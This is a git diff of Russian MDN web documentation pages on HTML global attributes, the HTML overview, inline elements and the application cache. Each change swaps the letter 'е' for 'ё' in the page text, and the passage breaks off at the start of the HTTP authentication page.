b/files/ru/web/html/global_attributes/accesskey/index.html @@ -8,7 +8,7 @@ translation_of: Web/HTML/Global_attributes/accesskey --- <div>{{HTMLSidebar("Global_attributes")}}</div> -<p><a href="/en-US/docs/Web/HTML/Global_attributes">Глобальный атрибут</a> <strong>accesskey </strong>дает возможность быстро перейти к элементу с помощью комбинации клавиш. Значение атрибута состоит из одного печатного символа (в том числе спец. символы, акценты и другие, которые можно написать с клавиатуры).</p> +<p><a href="/en-US/docs/Web/HTML/Global_attributes">Глобальный атрибут</a> <strong>accesskey </strong>даёт возможность быстро перейти к элементу с помощью комбинации клавиш. Значение атрибута состоит из одного печатного символа (в том числе спец. символы, акценты и другие, которые можно написать с клавиатуры).</p> <div>{{EmbedInteractiveExample("pages/tabbed/attribute-accesskey.html","tabbed-shorter")}}</div> diff --git a/files/ru/web/html/global_attributes/class/index.html b/files/ru/web/html/global_attributes/class/index.html index 08824dc4c9..06d41bd334 100644 --- a/files/ru/web/html/global_attributes/class/index.html +++ b/files/ru/web/html/global_attributes/class/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTML/Global_attributes/class --- <div>{{HTMLSidebar("Global_attributes")}}</div> -<p><span class="seoSummary"><a href="/ru/docs/Web/HTML/Global_attributes">Глобальный атрибут</a> <code><strong>class</strong></code> это разделенный пробелом список регистров зависимых классов элемента. Классы позволяют CSS и Javascript выбирать и получать доступ с помощью <a href="/ru/docs/Web/CSS/Class_selectors">селекторов класса</a> или функций, таких как методы DOM {{domxref("document.getElementsByClassName")}}.</span></p> +<p><span class="seoSummary"><a href="/ru/docs/Web/HTML/Global_attributes">Глобальный атрибут</a> <code><strong>class</strong></code> это разделённый пробелом список регистров зависимых классов элемента. Классы позволяют CSS и Javascript выбирать и получать доступ с помощью <a href="/ru/docs/Web/CSS/Class_selectors">селекторов класса</a> или функций, таких как методы DOM {{domxref("document.getElementsByClassName")}}.</span></p> <div>{{EmbedInteractiveExample("pages/tabbed/attribute-class.html","tabbed-standard")}}</div> diff --git a/files/ru/web/html/global_attributes/contenteditable/index.html b/files/ru/web/html/global_attributes/contenteditable/index.html index 638ea9c94a..a374c5d132 100644 --- a/files/ru/web/html/global_attributes/contenteditable/index.html +++ b/files/ru/web/html/global_attributes/contenteditable/index.html @@ -19,7 +19,7 @@ translation_of: Web/HTML/Global_attributes/contenteditable <p>Если атрибут не указан, то его значение <em>наследуется</em> от своего родительского элемента.</p> -<p>Этот атрибут <em>принимает одно из определенных значений</em> и не является <em>булевским</em>. Это значит, что точное использование одного из значений <code>true, false</code> или пустая строка обязательно и такое сокращение, как <code><label contenteditable>Пример метки</label> </code>неразрешено. Верное использование — <code><label contenteditable="true">Пример метки</label></code>. </p> +<p>Этот атрибут <em>принимает одно из определённых значений</em> и не является <em>булевским</em>. Это значит, что точное использование одного из значений <code>true, false</code> или пустая строка обязательно и такое сокращение, как <code><label contenteditable>Пример метки</label> </code>неразрешено. Верное использование — <code><label contenteditable="true">Пример метки</label></code>. </p> <p>Вы можете установить цвет, используемый для вставки текста {{Glossary("caret")}}<br> со свойством CSS {{cssxref("caret-color")}}. </p> diff --git a/files/ru/web/html/global_attributes/data-_star_/index.html b/files/ru/web/html/global_attributes/data-_star_/index.html index df80ab58ae..3cbc4c9a60 100644 --- a/files/ru/web/html/global_attributes/data-_star_/index.html +++ b/files/ru/web/html/global_attributes/data-_star_/index.html @@ -12,7 +12,7 @@ translation_of: Web/HTML/Global_attributes/data-* <div class="hidden">Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, клонируйте https://github.com/mdn/interactive-examples и отправьте нам запрос на извлечение.</div> <p>Все такие пользовательские данные доступны через интерфейс {{domxref ("HTMLElement")}} элемента, для которого установлен атрибут. Свойство {{domxref ("HTMLElement.dataset")}} предоставляет к ним доступ.<br> - Символ * может быть заменен любым именем, соответствующим производственному правилу имен xml, со следующими ограничениями:</p> + Символ * может быть заменён любым именем, соответствующим производственному правилу имён xml, со следующими ограничениями:</p> <ul> <li>имя не должно начинаться с xml, в любом случае для этих букв используется регистр;</li> diff --git a/files/ru/web/html/global_attributes/id/index.html b/files/ru/web/html/global_attributes/id/index.html index 11ec8acfa3..989ac64818 100644 --- a/files/ru/web/html/global_attributes/id/index.html +++ b/files/ru/web/html/global_attributes/id/index.html @@ -35,7 +35,7 @@ translation_of: Web/HTML/Global_attributes/id <tr> <td>{{SpecName('HTML WHATWG', "dom.html#the-id-attribute", "id")}}</td> <td>{{Spec2('HTML WHATWG')}}</td> - <td>Нет изменений с последнего "snapshot" (состояние сохраненное в определенный момент времени), {{SpecName('HTML5.1')}}</td> + <td>Нет изменений с последнего "snapshot" (состояние сохранённое в определённый момент времени), {{SpecName('HTML5.1')}}</td> </tr> <tr> <td>{{SpecName('HTML5.1', "dom.html#the-id-attribute", "id")}}</td> diff --git a/files/ru/web/html/global_attributes/index.html b/files/ru/web/html/global_attributes/index.html index 39e0fe294b..c662d66d36 100644 --- a/files/ru/web/html/global_attributes/index.html +++ b/files/ru/web/html/global_attributes/index.html @@ -23,9 +23,9 @@ translation_of: Web/HTML/Global_attributes <dl> <dt id="attr-accesskey"><code><a href="/ru/docs/Web/HTML/Global_attributes/accesskey">accesskey</a></code></dt> - <dd>Дает подсказку для создания комбинации клавиш для текущего элемента. Этот атрибут содержит список разделенных пробелами символов. Браузер должен использовать первый имеющийся в раскладке клавиатуры символ из списка.</dd> + <dd>Даёт подсказку для создания комбинации клавиш для текущего элемента. Этот атрибут содержит список разделённых пробелами символов. Браузер должен использовать первый имеющийся в раскладке клавиатуры символ из списка.</dd> <dt id="attr-class"><code><a href="/ru/docs/Web/HTML/Global_attributes/class">class</a></code></dt> - <dd>Это список разделенных пробелами классов элемента. Классы позволяют CSS и JavaScript выбирать и получать доступ к конкретным элементам через <a href="/ru/docs/Web/CSS/Class_selectors" title="В HTML документе, селекторы по CSS классу находят элементы с нужным классом.">селекторы по классу</a> или через функции, такие как метод {{domxref("Document.getElementsByClassName()")}}.</dd> + <dd>Это список разделённых пробелами классов элемента. Классы позволяют CSS и JavaScript выбирать и получать доступ к конкретным элементам через <a href="/ru/docs/Web/CSS/Class_selectors" title="В HTML документе, селекторы по CSS классу находят элементы с нужным классом.">селекторы по классу</a> или через функции, такие как метод {{domxref("Document.getElementsByClassName()")}}.</dd> <dt id="attr-contenteditable"><code><a href="/ru/docs/Web/HTML/Global_attributes/contenteditable">contenteditable</a></code></dt> <dd>Это перечислимый атрибут, указывающий, нужно ли предоставить пользователю возможность редактировать элемент. Если это так, браузер изменит свой виджет таким образом, чтобы позволить редактирование. Атрибут должен принимать одно из следующих значений: <ul> @@ -42,7 +42,7 @@ translation_of: Web/HTML/Global_attributes <ul> <li><code>ltr</code>, что расшифровывается как <em>left to right </em>(слева направо), и предназначено для языков, в которых пишут слева направо (как в русском);</li> <li><code>rtl</code>, что расшифровывается как <em>right to left</em> (справа налево), и предназначено для языков, в которых пишут справа налево (как в арабском);</li> - <li><code>auto</code> — позволяет принять решение пользовательскому приложению. Оно применяет базовый алгоритм — анализирует символы внутри элемента до тех пор, пока не найдет символ со строгим направлением, а затем применяет это направление ко всему элементу.</li> + <li><code>auto</code> — позволяет принять решение пользовательскому приложению. Оно применяет базовый алгоритм — анализирует символы внутри элемента до тех пор, пока не найдёт символ со строгим направлением, а затем применяет это направление ко всему элементу.</li> </ul> </dd> <dt id="attr-draggable"><code><a href="/ru/docs/Web/HTML/Global_attributes/draggable">draggable</a></code> {{experimental_inline}}</dt> @@ -56,12 +56,12 @@ translation_of: Web/HTML/Global_attributes <dd>Это перечислимый атрибут, указывающий типы содержимого, которое можно перетащить в элемент с помощью <a href="/ru/docs/Web/Guide/HTML/Drag_and_drop">Drag and Drop API</a>. Он может принимать одно из следующих значений: <ul> <li><code>copy</code>, указывающее, что перетаскивание создаст копию перетаскиваемого элемента;</li> - <li><code>move</code>, указывающее, что перетаскиваемый элемент будет перемещен в новое расположение;</li> + <li><code>move</code>, указывающее, что перетаскиваемый элемент будет перемещён в новое расположение;</li> <li><code>link</code> — создаст ссылку на перетаскиваемые данные.</li> </ul> </dd> <dt id="attr-hidden"><code><a href="/ru/docs/Web/HTML/Global_attributes/hidden">hidden</a></code></dt> - <dd>Это логический атрибут, указывающий, что элемент уже (или еще) не актуален. Можно использовать этот атрибут, например для того, чтобы спрятать части страницы, которые не должны быть видны до завершения авторизации. Браузер не будет отображать такие элементы. Этот атрибут не должен использоваться, чтобы скрыть содержимое, которое может быть показано на законных основаниях.</dd> + <dd>Это логический атрибут, указывающий, что элемент уже (или ещё) не актуален. Можно использовать этот атрибут, например для того, чтобы спрятать части страницы, которые не должны быть видны до завершения авторизации. Браузер не будет отображать такие элементы. Этот атрибут не должен использоваться, чтобы скрыть содержимое, которое может быть показано на законных основаниях.</dd> <dt id="attr-id"><code><a href="/ru/docs/Web/HTML/Global_attributes/id">id</a></code></dt> <dd>Определяет идентификатор (ID), который должен быть уникален для всего документа. Он предназначен для идентификации элемента при создании ссылок на него, исполнении скриптов или применении стилей (посредством CSS).</dd> <dt id="attr-itemid"><code><a href="/ru/docs/Web/HTML/Global_attributes/itemid">itemid</a></code> {{experimental_inline}}</dt> @@ -71,7 +71,7 @@ translation_of: Web/HTML/Global_attributes <dt id="attr-itemtype"><code><a href="/ru/docs/Web/HTML/Global_attributes/itemtype">itemtype</a></code> {{experimental_inline}}</dt> <dd>Эти атрибуты относятся к определению <a class="external" href="http://html.spec.whatwg.org/multipage/microdata.html">микроданных</a>.</dd> <dt id="attr-lang"><code><a href="/ru/docs/Web/HTML/Global_attributes/lang">lang</a></code></dt> - <dd>Участвует в определении языка элемента, языка написания нередактируемых элементов или языка, на котором должны быть написаны редактируемые элементы. Содержит единственное значение в формате, определенном в документе IETF <a class="external" href="http://www.ietf.org/rfc/bcp/bcp47.txt" title="Tags for Identifying Languages"><em>BCP47</em></a>. <a href="#attr-xml:lang"><strong>xml:lang</strong></a> имеет приоритет над ним.</dd> + <dd>Участвует в определении языка элемента, языка написания нередактируемых элементов или языка, на котором должны быть написаны редактируемые элементы. Содержит единственное значение в формате, определённом в документе IETF <a class="external" href="http://www.ietf.org/rfc/bcp/bcp47.txt" title="Tags for Identifying Languages"><em>BCP47</em></a>. <a href="#attr-xml:lang"><strong>xml:lang</strong></a> имеет приоритет над ним.</dd> <dt id="attr-spellcheck"><code><a href="/ru/docs/Web/HTML/Global_attributes/spellcheck">spellcheck</a></code> {{experimental_inline}}</dt> <dd>Это перечислимый атрибут, определяющий, может ли содержимое элемента быть проверено на наличие орфографических ошибок. Он может принимать одно из следующих значений: <ul> @@ -94,7 +94,7 @@ translation_of: Web/HTML/Global_attributes <dt id="attr-translate"><code><a href="/ru/docs/Web/HTML/Global_attributes/translate">translate</a></code></dt> <dd>Это перечислимый атрибут, используемый для того, чтобы указать, следует ли переводить значения атрибутов элемента и его текстовое содержимое (содержимое узла {{domxref("Text")}}) при локализации страницы. Этот атрибут может принимать следующие значения: <ul> - <li><em>пустая строка</em> или <code>"yes"</code> указывает, что элемент должен быть переведен;</li> + <li><em>пустая строка</em> или <code>"yes"</code> указывает, что элемент должен быть переведён;</li> <li><code>"no</code>" указывает, что элемент не должен быть переведен.</li> </ul> </dd> diff --git a/files/ru/web/html/global_attributes/inputmode/index.html b/files/ru/web/html/global_attributes/inputmode/index.html index 14b98a01bc..8f6bd811ec 100644 --- a/files/ru/web/html/global_attributes/inputmode/index.html +++ b/files/ru/web/html/global_attributes/inputmode/index.html @@ -17,7 +17,7 @@ translation_of: Web/HTML/Global_attributes/inputmode <dt><code>numeric</code></dt> <dd>Числовая раскладка клавиатуры; числа от 0 до 9. Устройства могут показывать или нет символ минуса (отрицательное значение).</dd> <dt><code>tel</code></dt> - <dd>Раскладка для ввода номера телефона, включая числа от 0 до 9, звёздочку ("*"), и решетку ("#"). Поля ввода форм, что имеют обязательное поле номера телефона должны использовать <code><a href="/en-US/docs/Web/HTML/Element/input/tel"><input type="tel"></a></code>.</dd> + <dd>Раскладка для ввода номера телефона, включая числа от 0 до 9, звёздочку ("*"), и решётку ("#"). Поля ввода форм, что имеют обязательное поле номера телефона должны использовать <code><a href="/en-US/docs/Web/HTML/Element/input/tel"><input type="tel"></a></code>.</dd> <dt><code>search</code></dt> <dd>Виртуальная клавиатура, оптимизированная для работы с поиском. Например, кнопка ввода может быть заменена на "Поиск", и др.</dd> <dt><code>email</code></dt> diff --git a/files/ru/web/html/global_attributes/is/index.html b/files/ru/web/html/global_attributes/is/index.html index a80c1772d1..c62892e64c 100644 --- a/files/ru/web/html/global_attributes/is/index.html +++ b/files/ru/web/html/global_attributes/is/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTML/Global_attributes/is --- <div>{{HTMLSidebar("Global_attributes")}}</div> -<p><span class="seoSummary"><a href="/en-US/docs/Web/HTML/Global_attributes">Глобальный атрибут </a> <strong><code>is</code></strong> позволяет указать, что стандартный HTML-элемент должен вести себя как определенный пользовательский встроенный элемент (см <a href="/en-US/docs/Web/Web_Components/Using_custom_elements">Using custom elements</a> для информации).</span></p> +<p><span class="seoSummary"><a href="/en-US/docs/Web/HTML/Global_attributes">Глобальный атрибут </a> <strong><code>is</code></strong> позволяет указать, что стандартный HTML-элемент должен вести себя как определённый пользовательский встроенный элемент (см <a href="/en-US/docs/Web/Web_Components/Using_custom_elements">Using custom elements</a> для информации).</span></p> <p>Этот атрибут может быть использован только, если указанное имя пользовательского элемента было успешно <a href="/en-US/docs/Web/API/CustomElementRegistry/define">определено</a> в текущем документе и расширяет тип элемента, к которому оно применяется.</p> diff --git a/files/ru/web/html/global_attributes/lang/index.html b/files/ru/web/html/global_attributes/lang/index.html index 2ccedf5e04..13a25e31f6 100644 --- a/files/ru/web/html/global_attributes/lang/index.html +++ b/files/ru/web/html/global_attributes/lang/index.html @@ -7,7 +7,7 @@ translation_of: Web/HTML/Global_attributes/lang --- <div>{{HTMLSidebar("Global_attributes")}}</div> -<p><a href="https://wiki.developer.mozilla.org/ru/docs/Web/HTML/Global_attributes">Глобальный атрибут</a> <code>lang</code> помогает определить язык элемента: язык, на котором написаны нередактируемые элементы, или язык, на котором пользователем должны быть написаны редактируемые элементы. Атрибут содержит единственный “языковой тег” (<code>language tag</code>) в формате, определенном в <em><a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt">Tags for Identifying Languages (BCP47)</a>.</em></p> +<p><a href="https://wiki.developer.mozilla.org/ru/docs/Web/HTML/Global_attributes">Глобальный атрибут</a> <code>lang</code> помогает определить язык элемента: язык, на котором написаны нередактируемые элементы, или язык, на котором пользователем должны быть написаны редактируемые элементы. Атрибут содержит единственный “языковой тег” (<code>language tag</code>) в формате, определённом в <em><a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt">Tags for Identifying Languages (BCP47)</a>.</em></p> <div>{{EmbedInteractiveExample("pages/tabbed/attribute-lang.html","tabbed-shorter")}}</div> @@ -20,15 +20,15 @@ translation_of: Web/HTML/Global_attributes/lang <p>Подробный синтаксис BCP47 достаточно подробен, чтобы отмечать специфичные языковые диалекты, но в большинстве случаев его использование намного проще. </p> -<p>Языковой тег состоит из <em>языковых вложенных тегов</em>, разделенных дефисом, где каждый вложенный тег указывает на определенное свойство языка. 3 наиболее распространенных вложенных тега:</p> +<p>Языковой тег состоит из <em>языковых вложенных тегов</em>, разделённых дефисом, где каждый вложенный тег указывает на определённое свойство языка. 3 наиболее распространённых вложенных тега:</p> <dl> <dt>Языковой подтег</dt> - <dd>Обязателен. Двух-или-трех-символьный код, определяющий базовый язык, обычно записываемый в нижнем регистре. К примеру, код английского языка является <code>en</code>, а для Бадеши — <code>bdz</code>. </dd> + <dd>Обязателен. Двух-или-трёх-символьный код, определяющий базовый язык, обычно записываемый в нижнем регистре. К примеру, код английского языка является <code>en</code>, а для Бадеши — <code>bdz</code>. </dd> <dt>Подтег скрипта</dt> <dd>Необязателен. Данный подтег определяет систему записи, и всегда состоящий из 4 символов с первой заглавной буквой. К примеру, французский язык Брайля — это <code>fr-Brai</code>, а <code>ja-Kana</code> — это японский язык, написанный с использованием алфавита Катакана (Katakana). Если язык написан типичным способом, например, английский с латинским алфавитом, нет необходимости использовать данный подтег.</dd> <dt>Подтег региона</dt> - <dd>Необязателен. Данный подтег определяет диалект основного языка из определенного места и состоит из двух букв в ALLCAPS, соответствующих коду страны, или трех цифр, соответствующих региону, который не относится к стране. К примеру, <code>es-ES</code> — это испанский язык, на котором разговаривают в Испании, а <code>es-013</code> означает испанский язык, на котором разговаривают в Центральной Америке. “Международный испанский” было бы просто <code>es</code>.</dd> + <dd>Необязателен. Данный подтег определяет диалект основного языка из определённого места и состоит из двух букв в ALLCAPS, соответствующих коду страны, или трёх цифр, соответствующих региону, который не относится к стране. К примеру, <code>es-ES</code> — это испанский язык, на котором разговаривают в Испании, а <code>es-013</code> означает испанский язык, на котором разговаривают в Центральной Америке. “Международный испанский” было бы просто <code>es</code>.</dd> </dl> <p>Подтег скрипта предшествует подтегу региона, если присутствуют оба тега — <code>ru-Cyrl-BY</code> — это русский язык, написанный кириллицей, на котором разговаривают в Беларуси. </p> diff --git a/files/ru/web/html/index.html b/files/ru/web/html/index.html index 6c7cd93452..c5e2c55066 100644 --- a/files/ru/web/html/index.html +++ b/files/ru/web/html/index.html @@ -21,7 +21,7 @@ translation_of: Web/HTML <p>HTML использует разметку ("markup") для отображения текста, изображений и другого контента в веб-браузере. HTML-разметка включает в себя специальные "элементы", такие как {{HTMLElement("head")}}, {{HTMLElement("title")}}, {{HTMLElement("body")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("p")}}, {{HTMLElement("div")}}, {{HTMLElement("span")}}, {{HTMLElement("img")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("datalist")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("nav")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("video")}} и многие другие.</p> -<p>HTML-элемент выделяется из прочего текста в документе с помощью "{{glossary("tag", "тегов")}}", которые состоят из имени элемента окруженного "<code><</code>" и "<code>></code>". Имя элемента внутри тега не чувствительно к регистру. То есть, оно может быть написано в верхнем или нижнем регистре, или смешано. Например, тег <code><title></code> может быть записан как <code><Title></code>, <code><TITLE></code>, или любым другим способом.</p> +<p>HTML-элемент выделяется из прочего текста в документе с помощью "{{glossary("tag", "тегов")}}", которые состоят из имени элемента окружённого "<code><</code>" и "<code>></code>". Имя элемента внутри тега не чувствительно к регистру. То есть, оно может быть написано в верхнем или нижнем регистре, или смешано. Например, тег <code><title></code> может быть записан как <code><Title></code>, <code><TITLE></code>, или любым другим способом.</p> <p>Статьи, представленные ниже, могут помочь вам больше узнать о HTML.</p> @@ -35,7 +35,7 @@ translation_of: Web/HTML <p>Статьи о том, как использовать HTML, а также обучающие материалы и исчерпывающие примеры можно найти в разделе "<a href="/ru/docs/Learn/HTML">Пространство изучения HTML</a>".</p> </li> <li><span>Справка по HTML</span> - <p>В нашем обширном разделе "<a href="/ru/docs/Web/HTML/Ссылки">Справка по HTML</a>" вы найдете подробности о каждом элементе и атрибуте в HTML.</p> + <p>В нашем обширном разделе "<a href="/ru/docs/Web/HTML/Ссылки">Справка по HTML</a>" вы найдёте подробности о каждом элементе и атрибуте в HTML.</p> </li> </ul> @@ -54,21 +54,21 @@ translation_of: Web/HTML <dd>Представление табличных данных на веб-странице в понятной, доступной форме может быть проблемой. Этот модуль охватывает базовую разметку таблиц, а также более сложные особенности, такие как добавление заголовков и описаний.</dd> <dt><a href="/ru/docs/Learn/HTML/Forms">HTML-формы</a></dt> <dd>Формы являются очень важной частью Веба — они предоставляют большую часть функционала, необходимого для взаимодействия с веб-сайтами, например регистрация и вход в систему, отправка отзывов, покупка товаров, и многое другое. Этот модуль познакомит вас с созданием клиентских (client-side/front-end) частей форм.</dd> - <dt><a href="/ru/docs/Learn/HTML/Рецепты">Используйте HTML для решения распространенных задач.</a></dt> - <dd>Содержит ссылки на разделы, объясняющие как использовать HTML для решения самых распространенных задач при создании веб-страницы: работа с заголовками, добавление изображений или видео, выделение контента, создание простой формы и т.д.</dd> + <dt><a href="/ru/docs/Learn/HTML/Рецепты">Используйте HTML для решения распространённых задач.</a></dt> + <dd>Содержит ссылки на разделы, объясняющие как использовать HTML для решения самых распространённых задач при создании веб-страницы: работа с заголовками, добавление изображений или видео, выделение контента, создание простой формы и т.д.</dd> </dl> <h2 id="Продвинутые_темы">Продвинутые темы</h2> <dl> - <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS: включенные изображения</a></dt> - <dd class="landingPageList">Атрибут {{htmlattrxref("crossorigin", "img")}} в сочетании с соответствующим заголовком {{glossary("CORS")}}, позволяет загружать изображения, определенные элементом {{HTMLElement("img")}}, из внешних источников и использовать в элементе {{HTMLElement("canvas")}}, как если бы они были загружены из текущего источника.</dd> + <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS: включённые изображения</a></dt> + <dd class="landingPageList">Атрибут {{htmlattrxref("crossorigin", "img")}} в сочетании с соответствующим заголовком {{glossary("CORS")}}, позволяет загружать изображения, определённые элементом {{HTMLElement("img")}}, из внешних источников и использовать в элементе {{HTMLElement("canvas")}}, как если бы они были загружены из текущего источника.</dd> <dt class="landingPageList"><a href="/ru/docs/Web/HTML/CORS_settings_attributes">CORS: Настройки атрибутов</a></dt> <dd class="landingPageList">Некоторые HTML-элементы, предоставляющие поддержку <a href="/ru/docs/Web/HTTP/CORS">CORS</a>, такие как {{HTMLElement("img")}} или {{HTMLElement("video")}}, имеют атрибут <code>crossorigin</code> (свойство <code>crossOrigin</code>), который позволяет вам настраивать CORS-запросы для получаемых элементом данных.</dd> <dt class="landingPageList"><a href="/ru/docs/Web/API/Document/hasFocus">Управление фокусом в HTML</a></dt> <dd class="landingPageList">DOM-Атрибут <code><a href="/en-US/docs/Web/API/Document/activeElement">activeElement</a></code> и DOM-метод <code><a href="/ru/docs/Web/API/Document/hasFocus">hasFocus()</a></code> помогают отслеживать и контролировать взаимодействие пользователя с элементами на веб-странице.</dd> <dt class="landingPageList"><a href="/ru/docs/Web/HTML/Preloading_content">Предварительная загрузка контента с помощью rel="preload"</a></dt> - <dd class="landingPageList">Значение <code>preload</code> атрибута {{htmlattrxref("rel", "link")}} элемента {{htmlelement("link")}} позволяет писать декларативные <a href="/ru/docs/Web/API/Fetch_API/Using_Fetch">fetch-запросы</a> в HTML {{htmlelement("head")}}, указывая ресурсы, которые потребуются вашим страницам сразу после загрузки и, следовательно, которые вы хотите начать предварительно загружать на раннем этапе жизненного цикла страницы, прежде чем браузером запустится основной механизм рендеринга (отрисовки). Это гарантирует, что они станут доступными раньше и с меньшей вероятностью заблокируют первый рендеринг страницы, что приведет к улучшению производительности. В этой статье приведено начальное руководство по работе с <code>preload</code> (предзагрузкой).</dd> + <dd class="landingPageList">Значение <code>preload</code> атрибута {{htmlattrxref("rel", "link")}} элемента {{htmlelement("link")}} позволяет писать декларативные <a href="/ru/docs/Web/API/Fetch_API/Using_Fetch">fetch-запросы</a> в HTML {{htmlelement("head")}}, указывая ресурсы, которые потребуются вашим страницам сразу после загрузки и, следовательно, которые вы хотите начать предварительно загружать на раннем этапе жизненного цикла страницы, прежде чем браузером запустится основной механизм рендеринга (отрисовки). Это гарантирует, что они станут доступными раньше и с меньшей вероятностью заблокируют первый рендеринг страницы, что приведёт к улучшению производительности. В этой статье приведено начальное руководство по работе с <code>preload</code> (предзагрузкой).</dd> </dl> </div> @@ -77,7 +77,7 @@ translation_of: Web/HTML <dl> <dt class="landingPageList"><a href="/ru/docs/Web/HTML/Ссылки">Справка по HTML</a></dt> - <dd class="landingPageList">HTML состоит из <strong>элементов</strong>, каждый из которых может быть изменен некоторым количеством <strong>атрибутов</strong>. HTML-документы связаны между собой <a href="/ru/docs/Web/HTML/Типы_ссылок">ссылками</a>.</dd> + <dd class="landingPageList">HTML состоит из <strong>элементов</strong>, каждый из которых может быть изменён некоторым количеством <strong>атрибутов</strong>. HTML-документы связаны между собой <a href="/ru/docs/Web/HTML/Типы_ссылок">ссылками</a>.</dd> <dt class="landingPageList"><a href="/ru/docs/Web/HTML/Element">Справка по HTML-элементам</a></dt> <dd class="landingPageList">Просмотр списка всех {{glossary("Element", "элементов")}} {{glossary("HTML")}}.</dd> <dt class="landingPageList"><a href="/ru/docs/Web/HTML/Attributes">Справка по HTML-атрибутам</a></dt> @@ -91,7 +91,7 @@ translation_of: Web/HTML <dt class="landingPageList"><a href="/ru/docs/Web/HTML/Поддерживаемые_медиа_форматы">Поддержка медиа-форматов с помощью HTML-элементов audio и video</a></dt> <dd class="landingPageList">Элементы {{HTMLElement("audio")}} и {{HTMLElement("video")}} позволяют вам воспроизводить аудио и видео. Эти элементы предоставляют браузерную альтернативу аналогичным возможностям, которые есть в Adobe Flash и других плагинах.</dd> <dt class="landingPageList"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Виды HTML-контента</a></dt> - <dd class="landingPageList">HTML состоит из нескольких видов контента, каждый из которых разрешено использовать в определенных контекстах и запрещено в других. Так же, у каждого есть набор других категорий контента, которые они могут содержать, и элементы, которые могут или не могут использоваться в них. Это руководство по таким категориям.</dd> + <dd class="landingPageList">HTML состоит из нескольких видов контента, каждый из которых разрешено использовать в определённых контекстах и запрещено в других. Так же, у каждого есть набор других категорий контента, которые они могут содержать, и элементы, которые могут или не могут использоваться в них. Это руководство по таким категориям.</dd> <dt class="landingPageList"><a href="/ru/docs/Web/HTML/Quirks_Mode_and_Standards_Mode">Режим совместимости и стандартный режим</a></dt> <dd class="landingPageList">Историческая справка по режиму совместимости и стандартному режиму.</dd> </dl> diff --git a/files/ru/web/html/inline_elements/index.html b/files/ru/web/html/inline_elements/index.html index 86db377c64..5fa033a73e 100644 --- a/files/ru/web/html/inline_elements/index.html +++ b/files/ru/web/html/inline_elements/index.html @@ -16,7 +16,7 @@ original_slug: Web/HTML/Строчные_Элементы <h3 id="HTML">HTML</h3> -<pre class="brush: html"><p>Этот элемент <span>span</span> строчный; цвет его фона изменен, чтобы показать начало и конец элемента.</p></pre> +<pre class="brush: html"><p>Этот элемент <span>span</span> строчный; цвет его фона изменён, чтобы показать начало и конец элемента.</p></pre> <h3 id="CSS">CSS</h3> diff --git a/files/ru/web/html/using_the_application_cache/index.html b/files/ru/web/html/using_the_application_cache/index.html index 2ed99d36b9..89a4a71d52 100644 --- a/files/ru/web/html/using_the_application_cache/index.html +++ b/files/ru/web/html/using_the_application_cache/index.html @@ -35,11 +35,11 @@ original_slug: Web/HTML/Использование_кэширования_при </ul> <p>Ниже приведено более подробное описание процесса загрузки документов и обновления кэша приложения:</p> <ol> - <li>Когда браузер посещает страницу со включенным атрибутом <code>manifest</code> и кэша приложения не существует, браузер загружает документ, а затем получает все пункты файла манифеста, создавая тем самым первую версию кэша приложения.</li> + <li>Когда браузер посещает страницу со включённым атрибутом <code>manifest</code> и кэша приложения не существует, браузер загружает документ, а затем получает все пункты файла манифеста, создавая тем самым первую версию кэша приложения.</li> <li>Последующие посещения данной страницы приводят к загрузке документа и других ресурсов, указанных в файле манифеста, уже из кэша приложения (не с сервера). К тому же браузер также посылает событие <code>checking</code> объекту <code><a href="/en-US/docs/DOM/window.applicationCache" title="DOM/window.applicationCache">window.applicationCache</a></code> и получает файл манифеста в соответствии с правилами кэширования HTTP.</li> <li>Если текущая закешированная копия манифеста совпадает со скачанной, браузер посылает событие <code>noupdate</code> объекту <code>applicationCache</code>, завершая процесс обновления. Обратите внимание, если вы изменили закешированные ресурсы на стороне сервера, вам также необходимо изменить и файл манифеста, тем самым давая браузеру знать, какие из ресурсов нужно получить повторно.</li> <li>Если файл манифеста изменился, то все перечисленные в нём файлы, так же, как и добавленные в кэш с помощью вызова <code><a href="/en-US/docs/nsIDOMOfflineResourceList#add.28.29" title="nsIDOMOfflineResourceList#add.28.29">applicationCache.add()</a></code>, попадают во временный кэш с учётом правил кэширования HTTP. Во время обновления каждого файла в этом временном кэше браузер посылает событие <code>progress</code> объекту <code>applicationCache</code>. Если происходит ошибка, браузер посылает событие <code>error</code>, а обновление прекращается.</li> - <li>Как только успешно получены все файлы, они автоматически отправляются в настоящий оффлайн-кэш, а объекту <code>applicationCache</code> посылается событие <code>cached</code>. Поскольку документ уже был загружен в браузер из кэша, обновленный документ не перерисуется, пока страница не будет перезагружена (неважно как, вручную или программно).</li> + <li>Как только успешно получены все файлы, они автоматически отправляются в настоящий оффлайн-кэш, а объекту <code>applicationCache</code> посылается событие <code>cached</code>. Поскольку документ уже был загружен в браузер из кэша, обновлённый документ не перерисуется, пока страница не будет перезагружена (неважно как, вручную или программно).</li> </ol> <h2 id="Место_хранения_и_очистка_оффлайн-кэша">Место хранения и очистка оффлайн-кэша</h2> <p>В Chrome оффлайн-кэш можно очистить, выбрав «Очистить историю...» в настройках или перейдя на адрес <a title="chrome://appcache-internals/">chrome://appcache-internals/</a>. У Safari также есть похожий пункт «Очистить кэш» в настройках, но для этого также может понадобиться перезапуск браузера.</p> diff --git a/files/ru/web/http/authentication/index.html b/files/ru/web/http/authentication/index.html index 8896a66039..4455fff42a 100644 --- a/files/ru/web/http/authentication/index.html +++ b/files/ru/web/http/authentication/index.html @@ -10,7 +10,7 @@ original_slug: Web/HTTP/Авторизация --- <div>{{HTTPSidebar}}</div> -<p class="summary">HTTP предоставляет набор инструментов для разграничения доступа к ресурсам и авторизацией. Самой распространенной схемой HTTP авторизации является "Basic" (базовая) авторизация. Данное руководство 